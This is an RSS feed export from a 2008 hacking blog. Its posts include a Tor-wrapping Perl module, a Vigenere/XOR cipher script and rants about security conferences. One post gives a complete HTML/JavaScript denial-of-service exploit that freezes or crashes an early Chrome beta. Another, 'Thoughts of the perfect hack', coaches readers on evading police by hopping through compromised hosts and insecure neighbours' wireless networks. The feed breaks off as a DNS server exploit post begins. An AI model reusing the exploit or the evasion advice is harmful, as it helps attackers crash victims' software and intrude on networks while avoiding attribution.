<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>BlackHat - Hacking / Cracking / Revese Engneering / Programming</title>
	<atom:link href="http://www.blackhat.org.il/index.php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.blackhat.org.il</link>
	<description>Researching, Hacking, Cracking, Reverse Engneering, Programming, Technology</description>
	<pubDate>Thu, 09 Oct 2008 09:23:55 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>The TorSwitch.pm module</title>
		<link>http://www.blackhat.org.il/index.php/the-torswitchpm-module/</link>
		<comments>http://www.blackhat.org.il/index.php/the-torswitchpm-module/#comments</comments>
		<pubDate>Sat, 04 Oct 2008 21:45:10 +0000</pubDate>
		<dc:creator>Exodus</dc:creator>
		
		<category><![CDATA[Hacking]]></category>

		<category><![CDATA[Projects]]></category>

		<category><![CDATA[Source code]]></category>

		<guid isPermaLink="false">http://www.blackhat.org.il/?p=30</guid>
		<description><![CDATA[TorSwitch is basiclly a wrap around Tor module which i wrote in order to make
my life easier while automating some of my mayhem ;).
it could be use for those who want to combain their scripts with Tor anonymity
plus the ability to auto switch Tor&#8217;s circuit chain while automating somthing
this module is able to use both [...]]]></description>
			<content:encoded><![CDATA[<p>TorSwitch is basiclly a wrap around <a href="http://www.torproject.org">Tor</a> module which i wrote in order to make<br />
my life easier while automating some of my mayhem ;).<br />
it could be use for those who want to combain their scripts with Tor anonymity<br />
plus the ability to auto switch Tor&#8217;s circuit chain while automating somthing<br />
this module is able to use both HTTP/S proxy(Privoxy) and Tor&#8217;s native SOCKS<br />
protocol in order to transfer data.<br />
this module is in its early stages and some modifications has to be made<br />
but i&#8217;m too lazy at the moment.<br />
anyway its only a wrap-around module, so if you find it useful<br />
Enjoy <img src='http://www.blackhat.org.il/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Tar: <a href="http://www.blackhat.org.il/src/TorSwitch-0.3.tar">TorSwitch-0.3.tar</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhat.org.il/index.php/the-torswitchpm-module/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ready, set, chrome!</title>
		<link>http://www.blackhat.org.il/index.php/ready-set-chrome/</link>
		<comments>http://www.blackhat.org.il/index.php/ready-set-chrome/#comments</comments>
		<pubDate>Mon, 08 Sep 2008 14:01:11 +0000</pubDate>
		<dc:creator>Exodus</dc:creator>
		
		<category><![CDATA[Exploits]]></category>

		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.blackhat.org.il/?p=29</guid>
		<description><![CDATA[Google&#8217;s has lunched their new browser called Chrome in its very early BETA version(0.2.149.27)
and ofcourse everyone is on the race for 0day exploits. So far only few vulnerability has been found most of them are low severity exploits and non of them are a real use for massive 0wnage or somthing
so i thought i&#8217;ll give [...]]]></description>
			<content:encoded><![CDATA[<p>Google&#8217;s has lunched their new browser called Chrome in its very early BETA version(0.2.149.27)<br />
and ofcourse everyone is on the race for 0day exploits. So far only few vulnerability has been found most of them are low severity exploits and non of them are a real use for massive 0wnage or somthing<br />
so i thought i&#8217;ll give it a try and so far i&#8217;ve came up with another kinda useless exploit<br />
i&#8217;ve found that Chrome is having a hard time rendering a oversized title attribute causing it to<br />
 - freeze under Vista SP1.<br />
 - crash in some cases under Windows XP SP1/SP2.</p>
<p>Exploit:</p>
<div class="geshi no javascript">
<ol>
<li class="li1">
<div class="de1"><span class="sy0">&lt;!</span>&#8211; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; Chrome<span class="br0">&#40;</span><span class="nu0">0.2</span><span class="nu0">.149</span><span class="nu0">.27</span><span class="br0">&#41;</span> title attribute Denial of Service<span class="br0">&#40;</span>Freeze<span class="br0">&#41;</span> exploit</div>
</li>
<li class="li1">
<div class="de1">&nbsp; Exploit written by Exodus.</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="me1">http</span>:<span class="co1">//www.blackhat.org.il</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; http:<span class="co1">//www.blackhat.org.il/index.php/ready-set-chrome/</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; http:<span class="co1">//www.blackhat.org.il/exploits/chrome-freeze-exploit.html</span></div>
</li>
<li class="li1">
<div class="de1">&#8211;<span class="sy0">&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="sy0">&lt;</span>HTML<span class="sy0">&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="sy0">&lt;</span>HEAD<span class="sy0">&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="sy0">&lt;</span>TITLE<span class="sy0">&gt;</span> Chrome<span class="br0">&#40;</span><span class="nu0">0.2</span><span class="nu0">.149</span><span class="nu0">.27</span><span class="br0">&#41;</span> title attribute Denial of Service<span class="br0">&#40;</span>Freeze<span class="br0">&#41;</span> exploit<span class="sy0">&lt;/</span>TITLE<span class="sy0">&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="sy0">&lt;</span>SCRIPT language=<span class="st0">&quot;JavaScript&quot;</span><span class="sy0">&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw2">function</span> buff<span class="br0">&#40;</span>len<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">var</span> buffer;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">for</span><span class="br0">&#40;</span><span class="kw2">var</span> i = <span class="nu0">0</span>; i <span class="sy0">!</span>= len; i++<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#123;</span> buffer += <span class="st0">&#39;E&#39;</span>;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> buffer;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="sy0">&lt;/</span>SCRIPT<span class="sy0">&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="sy0">&lt;/</span>HEAD<span class="sy0">&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="sy0">&lt;</span>SCRIPT<span class="sy0">&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; document.<span class="kw1">write</span><span class="br0">&#40;</span><span class="st0">&#39;&lt;body title=<span class="es0">\&#8221;</span>&#39;</span> + buff<span class="br0">&#40;</span><span class="nu0">31337</span><span class="br0">&#41;</span> + <span class="st0">&#39;<span class="es0">\&#8221;</span>&gt;&#39;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="sy0">&lt;/</span>SCRIPT<span class="sy0">&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="sy0">&lt;/</span>BODY<span class="sy0">&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="sy0">&lt;/</span>HTML<span class="sy0">&gt;</span></div>
</li>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhat.org.il/index.php/ready-set-chrome/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Whitehats, Blackhat conference in Vegas?</title>
		<link>http://www.blackhat.org.il/index.php/the-whitehats-blackhat-confrence-in-vegas/</link>
		<comments>http://www.blackhat.org.il/index.php/the-whitehats-blackhat-confrence-in-vegas/#comments</comments>
		<pubDate>Sat, 09 Aug 2008 14:20:00 +0000</pubDate>
		<dc:creator>Exodus</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[Hacking calture]]></category>

		<guid isPermaLink="false">http://www.blackhat.org.il/?p=28</guid>
		<description><![CDATA[lately i&#8217;ve been wondering about this so called &#8220;Blackhat&#8221; conference which is
talking place once in every couple of years.
this year the conference took place in Vegas at the 2-7 of August.
and of course as expected all the big names of the security industry showed up,
but whats really bothering me is that this conference is no [...]]]></description>
			<content:encoded><![CDATA[<p>lately i&#8217;ve been wondering about this so called &#8220;Blackhat&#8221; conference which is<br />
talking place once in every couple of years.<br />
this year the conference took place in Vegas at the 2-7 of August.<br />
and of course as expected all the big names of the security industry showed up,<br />
but whats really bothering me is that this conference is no more the land of the hackers<br />
those individuals who came because of their thirst for knowledge the desire to understand<br />
and research technology on all of its aspects and to share/exchange their knowledge.<br />
the truth is that this kind of conferences are filled with people<br />
with the desire to make more money and drive more attention to their sponsering<br />
company/product. this is no more the hackers blackhat conference but a whitehat<br />
conference filled with security researchers.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhat.org.il/index.php/the-whitehats-blackhat-confrence-in-vegas/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Thoughts of the perfect hack!</title>
		<link>http://www.blackhat.org.il/index.php/thoughts-of-the-perfect-hack/</link>
		<comments>http://www.blackhat.org.il/index.php/thoughts-of-the-perfect-hack/#comments</comments>
		<pubDate>Thu, 07 Aug 2008 14:48:03 +0000</pubDate>
		<dc:creator>Exodus</dc:creator>
		
		<category><![CDATA[General]]></category>

		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.blackhat.org.il/?p=27</guid>
		<description><![CDATA[Definition of a perfect hack:
So, what exactly is a perfect hack?, well my definition is a clean in, taking whatever
you came for, and taking off without having anyone notice, without leaving tracks
as if it never happend.
The real world:
ofcourse in the real world this scenerio wont always be possible, for couple
of reasons; it might just be [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Definition of a perfect hack:</strong><br />
So, what exactly is a perfect hack?, well my definition is a clean in, taking whatever<br />
you came for, and taking off without having anyone notice, without leaving tracks<br />
as if it never happend.</p>
<p><strong>The real world:</strong><br />
ofcourse in the real world this scenerio wont always be possible, for couple<br />
of reasons; it might just be that the goal of your hack has distructive intention,<br />
like distroying some framing data or spread some malicious creature inside a<br />
network for whatever reason and it is very clear that someone would eventually<br />
notice.</p>
<p>another possibility is some inescapable detecting system monitoring every bit in<br />
the traffic flow and even if we use some methods of steganography/cryptography<br />
to camouflage our doings if the person behind the monitor is good, and knows what<br />
he is doing, he will notice your activity</p>
<p><strong>Always keep in mind:</strong><br />
No matter what we do or how we do it, the first and the most important rule is<br />
<em>Rule #1: Do not get caught!.</em><br />
therefore if we follow rule #1 at the top of everything we need to be Untracable,<br />
even if we will get noticed somewhere in the process. considering today&#8217;s recources,<br />
and the ability of the local police/agencies it is very possible to trigger such an<br />
untracable hack. <em>(note that nothing/no one is perfect so take the term untracable<br />
in proportion)</em></p>
<p><strong>Annonimity fundamental:</strong><br />
some fundamental methods of annonimity, is to never leave obvious tracks such<br />
as your handle, e-mail address and even arrogant qoute/message or any other<br />
human-ego tracks that could eventually lead them to you, never talk about your<br />
hack before or after you do it ,in other words dont make too much &#8220;noise on the line&#8221;.<br />
another thing is not to use direct connection between you and the target, for this<br />
cause it is very usefull to use a SOCKS/HTTP/Tor(if you trust it) services on some<br />
compromised box or even chain couple of proxys that would leverege your annonimity.<br />
all those suggestions are known stuff, and if you&#8217;re planning a real hack and not some<br />
stupid web defacment you should know them.<br />
ofcourse the are way more elements of annonimity but i aint gonna list them all here.<br />
the problem here is that virtually sitting behind couple of boxs is still not safe<br />
enough for you and if the people that are going after you are good, it is very<br />
possible that they will track you down.</p>
<p><strong>Wireless Hop&#8217;ing Attack(WHA):</strong><br />
in the past everything was wired with cables and if you want to be conncted<br />
to some network you had to be somehow physically wired to it. this reallty has<br />
changed, nowdays the internet is flowing on the back of wireless networks in<br />
almost every settled civilization, networks are transmiting/receiving bits over the<br />
air. in my country almost every house has a wireless networks and most of them<br />
arent really secured for user comfortability reasons,<br />
and those that are secured with encrypted transformation(WEP/WPA) can be<br />
broken within minutes or hours.<br />
in addition most of those networks router are protected with default password<br />
which is a great start if you wanna compromise some computers in that network<br />
as well. now lets say you have a target and you already know your way into<br />
this specific system, you just need to make sure no one could ever trace you.</p>
<p>So you go out for a war driving trip. looking at the great view, maybe even at<br />
some walk-on-by chicks, while slowly breathing those great wireless bits of<br />
information that flows around us. maybe even logically XOR&#8217;ing AND&#8217;ing<br />
(OR&#8217;ing NOT&#8217;ing) some of them in your head just for the fun of it.<br />
now lets do what we came for to do and thats collecting location of<br />
open/insecure(hackable) wireless networks, except that the goal of this<br />
wardriving isnt really the chicks or wireless networks themselfs,but searching<br />
for a suitable networks to play as a gatway to your target system over the internet.</p>
<p>after you have mapped couple of suitable networks you&#8217;re ready to prepare<br />
the sourface for your hack/attack some may want to compromise computers<br />
on that network other may just want to use it as one of the hops for their hack<br />
eventually if you trigger that<br />
hack using your annonimity methods plus hoping between wireless networks no matter<br />
what resources the agencies/police has it is extermly hard to trace such an attacker</p>
<p><strong>What do they know?:</strong><br />
from my experince, in israel i assume that the police has the ability to use the needed<br />
resource but they just dont know how to manipulate those resources in order to<br />
track hackers another reason is that the police is lacking of a good technical people<br />
who deals with computers &amp; security and therefore they are hopeless while facing<br />
against real hackers and attacks and because of that they prefer picking onto those<br />
lame kids thatdeface poor websites and leaveing their handles or/and e-mail address<br />
those are screaming for attention, and they are so easy to track so once in a while<br />
the police are showing off with this new Mega hacker that they caught.</p>
<p><strong>Worst case scenario:</strong><br />
if we will take the worst case scenario of a CERT agency that has uberian resources<br />
monitoring/tracking tools over the IIX(backbone) that logs everything<br />
(which is kinda crazy since you gotta log tons of Terabyes every single second)<br />
with the ability to crossbreed every piece of information in any given time<br />
even with such power, if they wont trace you while your in action,<br />
it might just be that they will never be able to find you. even if you weren&#8217;t 100%<br />
precent carefull(which is mostly probable) all they can end up with is just<br />
some hacked system and a MAC address of some wireless network adapter.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhat.org.il/index.php/thoughts-of-the-perfect-hack/feed/</wfw:commentRss>
		</item>
		<item>
		<title>upcoming OWASP</title>
		<link>http://www.blackhat.org.il/index.php/new-theme-upcoming-owasp/</link>
		<comments>http://www.blackhat.org.il/index.php/new-theme-upcoming-owasp/#comments</comments>
		<pubDate>Wed, 06 Aug 2008 12:39:41 +0000</pubDate>
		<dc:creator>Exodus</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.blackhat.org.il/?p=25</guid>
		<description><![CDATA[I&#8217;ve decided to change a bit the look of BlackHat to make it more human-readable.
so people wont die trying to read the text over the black background.
in addition, the upcoming israeli (shame) conference called OWASP &#8220;Security&#8221; will take place at August 14
probably the quality of the talks wont even come close to those in Blackhat/Defcon [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve decided to change a bit the look of BlackHat to make it more human-readable.<br />
so people wont die trying to read the text over the black background.</p>
<p>in addition, the upcoming israeli (shame) conference called OWASP &#8220;Security&#8221; will take place at August 14<br />
probably the quality of the talks wont even come close to those in Blackhat/Defcon since most of the people there arent hackers(-people who live/breathe/research computers &#038; techlology) , but miserable Web Application penetration testers who entered the security area because of the easy money.<br />
dispite all of this, i&#8217;m going to attend this con&#8217; for three main reasons:<br />
1. i dont have anything better to do<br />
2. hey, its a free pizza after all <img src='http://www.blackhat.org.il/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
3. i can use a good laugh.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhat.org.il/index.php/new-theme-upcoming-owasp/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Xigenere cypher</title>
		<link>http://www.blackhat.org.il/index.php/xigenere-cypher/</link>
		<comments>http://www.blackhat.org.il/index.php/xigenere-cypher/#comments</comments>
		<pubDate>Fri, 18 Jul 2008 00:40:23 +0000</pubDate>
		<dc:creator>Exodus</dc:creator>
		
		<category><![CDATA[Cryptography]]></category>

		<category><![CDATA[Source code]]></category>

		<category><![CDATA[cypher]]></category>

		<category><![CDATA[encryption]]></category>

		<guid isPermaLink="false">http://www.blackhat.org.il/?p=24</guid>
		<description><![CDATA[another old implementation of vigenere encryption combained with logical xor operator.

# Xignere:


## this script is an implementation of vignere encryption


### underlying xor logical operator &#160;mutated into Xignere  (was bored)


#### useage: Xigenere-v1.0


&#160; &#38;lt;-e&#124;-d&#38;gt;


&#160;


if&#40;@ARGV &#38;lt; 3&#41;


&#123; &#38;amp;usage; &#160;&#125;


&#160;


if&#40;$ARGV&#91;2&#93; eq &#34;-e&#34;&#41;


&#123;


&#160;$fileCont = loadFile&#40;$ARGV&#91;0&#93;&#41;;


&#160;$crypt = xigenereCrypt&#40;$fileCont,$ARGV&#91;1&#93;&#41;;


&#160;open&#40;FILE,&#34;&#38;gt;$ARGV[0]&#34;&#41;;


&#160;print FILE $crypt;


&#160;print &#34;Encryption completed, results saved to $ARGV[0]\n&#34;;


&#160;


&#125;


elsif&#40;$ARGV&#91;2&#93; eq &#34;-d&#34;&#41;


&#123;


&#160;$fileCont = loadFile&#40;$ARGV&#91;0&#93;&#41;;


&#160;$decrypt [...]]]></description>
			<content:encoded><![CDATA[<p>another old implementation of vigenere encryption combained with logical xor operator.</p>
<div class="geshi no perl">
<div class="head"># Xignere:</div>
<ol>
<li class="li1">
<div class="de1"><span class="co1">## this script is an implementation of vignere encryption</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1">### underlying xor logical operator &nbsp;mutated into Xignere <img src='http://www.blackhat.org.il/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> (was bored)</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1">#### useage: Xigenere-v1.0</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="sy0">&amp;</span>lt;-e<span class="sy0">|</span>-d<span class="sy0">&amp;</span>gt;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">@ARGV</span> <span class="sy0">&amp;</span>lt; <span class="nu0">3</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span> <span class="sy0">&amp;</span>amp;usage; &nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> eq <span class="st0">&quot;-e&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$fileCont</span> = loadFile<span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$crypt</span> = xigenereCrypt<span class="br0">&#40;</span><span class="re0">$fileCont</span>,<span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">open</span><span class="br0">&#40;</span>FILE,<span class="st0">&quot;&amp;gt;$ARGV[0]&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> FILE <span class="re0">$crypt</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="st0">&quot;Encryption completed, results saved to $ARGV[0]<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">elsif</span><span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> eq <span class="st0">&quot;-d&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$fileCont</span> = loadFile<span class="br0">&#40;</span><span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$decrypt</span> = xigenereDecrypt<span class="br0">&#40;</span><span class="re0">$fileCont</span>,<span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">open</span><span class="br0">&#40;</span>FILE,<span class="st0">&quot;&amp;gt;$ARGV[0]&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> FILE <span class="re0">$decrypt</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="st0">&quot;Decryption completed, results saved to $ARGV[0]<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span> <span class="sy0">&amp;</span>amp;usage; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sub</span> xigenereCrypt</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#40;</span><span class="re0">$text</span>,<span class="re0">$key</span><span class="br0">&#41;</span> = <span class="re0">@_</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$textLen</span> = <span class="kw3">length</span><span class="br0">&#40;</span><span class="re0">$text</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">for</span><span class="br0">&#40;</span><span class="re0">$i</span> = <span class="nu0">0</span>; <span class="re0">$i</span> <span class="sy0">&amp;</span>lt; <span class="re0">$textLen</span>; <span class="re0">$i</span>++<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$k</span>=<span class="nu0">0</span> <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$k</span> == <span class="kw3">length</span><span class="br0">&#40;</span><span class="re0">$key</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$ord</span> = <span class="kw3">ord</span><span class="br0">&#40;</span><span class="kw3">substr</span><span class="br0">&#40;</span><span class="re0">$text</span>,<span class="re0">$i</span>,<span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span> + <span class="kw3">ord</span><span class="br0">&#40;</span><span class="kw3">substr</span><span class="br0">&#40;</span><span class="re0">$key</span>,<span class="re0">$k</span>,<span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$ord</span> -= &nbsp;<span class="nu0">255</span> <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ord</span> <span class="sy0">&amp;</span>gt; <span class="nu0">255</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$crypted</span> .= <span class="kw3">chr</span><span class="br0">&#40;</span><span class="re0">$ord</span><span class="br0">&#41;</span> xor <span class="kw3">substr</span><span class="br0">&#40;</span><span class="re0">$key</span>,<span class="re0">$k</span>,<span class="nu0">1</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$k</span>++;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">return</span> <span class="re0">$crypted</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sub</span> xigenereDecrypt</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#40;</span><span class="re0">$text</span>,<span class="re0">$key</span><span class="br0">&#41;</span> = <span class="re0">@_</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="re0">$textLen</span> = <span class="kw3">length</span><span class="br0">&#40;</span><span class="re0">$text</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">for</span><span class="br0">&#40;</span><span class="re0">$i</span> = <span class="nu0">0</span>; <span class="re0">$i</span> <span class="sy0">&amp;</span>lt; <span class="re0">$textLen</span>; <span class="re0">$i</span>++<span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$k</span>=<span class="nu0">0</span> <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$k</span> == <span class="kw3">length</span><span class="br0">&#40;</span><span class="re0">$key</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$ord</span> = <span class="kw3">ord</span><span class="br0">&#40;</span><span class="kw3">substr</span><span class="br0">&#40;</span><span class="re0">$text</span>,<span class="re0">$i</span>,<span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span> - <span class="kw3">ord</span><span class="br0">&#40;</span><span class="kw3">substr</span><span class="br0">&#40;</span><span class="re0">$key</span>,<span class="re0">$k</span>,<span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$ord</span> += <span class="nu0">255</span> <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$ord</span> <span class="sy0">&amp;</span>lt; <span class="nu0">0</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$decrypted</span> .= <span class="kw3">chr</span><span class="br0">&#40;</span><span class="re0">$ord</span><span class="br0">&#41;</span> xor <span class="kw3">substr</span><span class="br0">&#40;</span><span class="re0">$key</span>,<span class="re0">$k</span>,<span class="nu0">1</span><span class="br0">&#41;</span>;;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$k</span>++;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">return</span> <span class="re0">$decrypted</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sub</span> loadFile</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">open</span><span class="br0">&#40;</span>FILE,<span class="kw3">shift</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$line</span> = <span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="re0">$content</span> .= <span class="re0">$line</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">return</span> <span class="re0">$content</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">sub</span> usage</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">print</span> <span class="st0">&quot;Usage:</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp;&amp;lt;-e|-d&amp;gt;&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw3">exit</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhat.org.il/index.php/xigenere-cypher/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Simple DNS Plus 5.0/4.1 remote Denial of Service exploit</title>
		<link>http://www.blackhat.org.il/index.php/simple-dns-plus-5041-remote-denial-of-service-exploit/</link>
		<comments>http://www.blackhat.org.il/index.php/simple-dns-plus-5041-remote-denial-of-service-exploit/#comments</comments>
		<pubDate>Sat, 12 Jul 2008 16:36:36 +0000</pubDate>
		<dc:creator>Exodus</dc:creator>
		
		<category><![CDATA[Exploits]]></category>

		<category><![CDATA[Source code]]></category>

		<guid isPermaLink="false">http://www.blackhat.org.il/?p=23</guid>
		<description><![CDATA[after reading the story about Dan kaminskys DNS cache posioning attack
and watching his ridiculous youtube cornflakes commercial
i decided to trace the source of this vulnerability.
so in order to understand how kaminsky attack is any diffrent from the traditional dns cache posioning
